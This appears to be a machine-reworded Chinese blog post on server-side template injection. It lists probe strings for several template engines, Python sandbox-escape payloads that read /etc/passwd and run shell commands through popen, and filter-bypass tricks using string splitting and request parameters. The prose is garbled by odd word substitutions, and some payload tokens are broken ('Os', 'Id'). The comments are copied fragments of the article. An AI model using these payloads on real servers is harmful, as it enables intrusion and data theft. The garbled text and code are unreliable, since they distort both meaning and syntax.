模板网站怎么注入攻击和注入攻击的方法
模版引入介绍
模板引擎用以使用动态数据展现内容。此语义数据通常由用户控制并由模版进行备份,以转化成网页页面、电子邮箱等。模板引擎通过使用编码结构(如条件语句、循环等)处理语义数据,容许在模版中使用强大的语言关系式,以展现动态内容。如果网络攻击能够控制要展现的模版,则他们将能够引入可曝露语义数据,甚至在网络服务器上运作随意指令的关系式。
1、测试标准
确定使用的模块
查看模块相关的文本文档,确定其安全体制以及内置的涵数和自变量
寻找攻击面,试着进攻
2、测试用例
简单的数学课关系式,{{ 7+7 }} => 14
字符串关系式 {{ "ajin" }} => ajin
Ruby
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
javas
${7*7}
Twig
{{7*7}}
Smarty
{Python}echo `Id`;{/Python}
AngularJS
$eval('1+1')
Tornado
引证控制模块 {% import module %}
=> {% import Os %}{{ Os.popen("whoami").read() }}
Flask/Jinja2
{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}
Django
{{ request }}
{% debug %}
{% load module %}
{% include "x.html语言" %}
{% extends "x.html语言" %}
3、进攻目标
创建对象
文件读写能力
远程控制文件包括
信息泄露
提权
4、相关属性
__class__
python中的新型类(即显示承继object对象的类)都有一个属性 __class__ 用以获得当前案例对应的类,比如 "".__class__ 就可以获得到字符串案例对应的类
__mro__
python中类对象的 __mro__ 属性会回到一个tuple对象,其中包括了当前类对象所有承继的基类,tuple中元素的次序是MRO(Method Resolution Order) 找寻的次序。
__globals__
储存了涵数所有的所有全局变量,在利用中,可以使用 __init__ 获得对象的涵数,并通过 __globals__ 获得 file Os 等控制模块以进行下一阶段的利用
__subclasses__()
python的新型类都保存了它所有的子类的引证,__subclasses__() 这个方法回到了类的所有生存的子类的引证(是类对象引证,不是案例)。
因为python中的类都是承继object的,所以只要启用object类对象的 __subclasses__() 方法就可以获得想要的类的对象。
5、常见Payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[57].__init__.func_globals.values()[13]['eval']('__import__("Os").popen("ls /").read()' )
6、绕开方法
字符串拼接
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
使用主要参数绕开
params={'clas':'__class__','mr':'__mro__','subc':'__subclasses__'}data={"data":"{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"}r=requests.post(网页地址,params=params,data=data)print(r.text)
相关文章
- 5条评论
- 双笙忿咬2022-05-28 00:09:37
- r) 找寻的次序。 __globals__储存了涵数所有的所有全局变量,在利用中,可以使用 __init__ 获得对象的涵数,并通过 __globals__ 获得 file Os 等控制模块以进行下一阶段的利用_
- 笙沉溇涏2022-05-28 02:29:05
- 使用强大的语言关系式,以展现动态内容。如果网络攻击能够控制要展现的模版,则他们将能够引入可曝露语义数据,甚至在网络服务器上运作随意指令的关系式。1、测试标准确定使用的模块查看模块相关的文本文
- 馥妴辞忧2022-05-28 06:15:56
- 所有的子类的引证,__subclasses__() 这个方法回到了类的所有生存的子类的引证(是类对象引证,不是案例)。因为python中的类都是承继object的,所以只要启用object类
- 柔侣桃靥2022-05-28 04:14:41
- 模版引入介绍模板引擎用以使用动态数据展现内容。此语义数据通常由用户控制并由模版进行备份,以转化成网页页面、电子邮箱等。模板引擎通过使用编码结构(如条件语句、循环等)处理语义数据,容许在模版中使用强大的
- 掩吻一镜2022-05-28 02:08:21
- t(网页地址,params=params,data=data)print(r.text)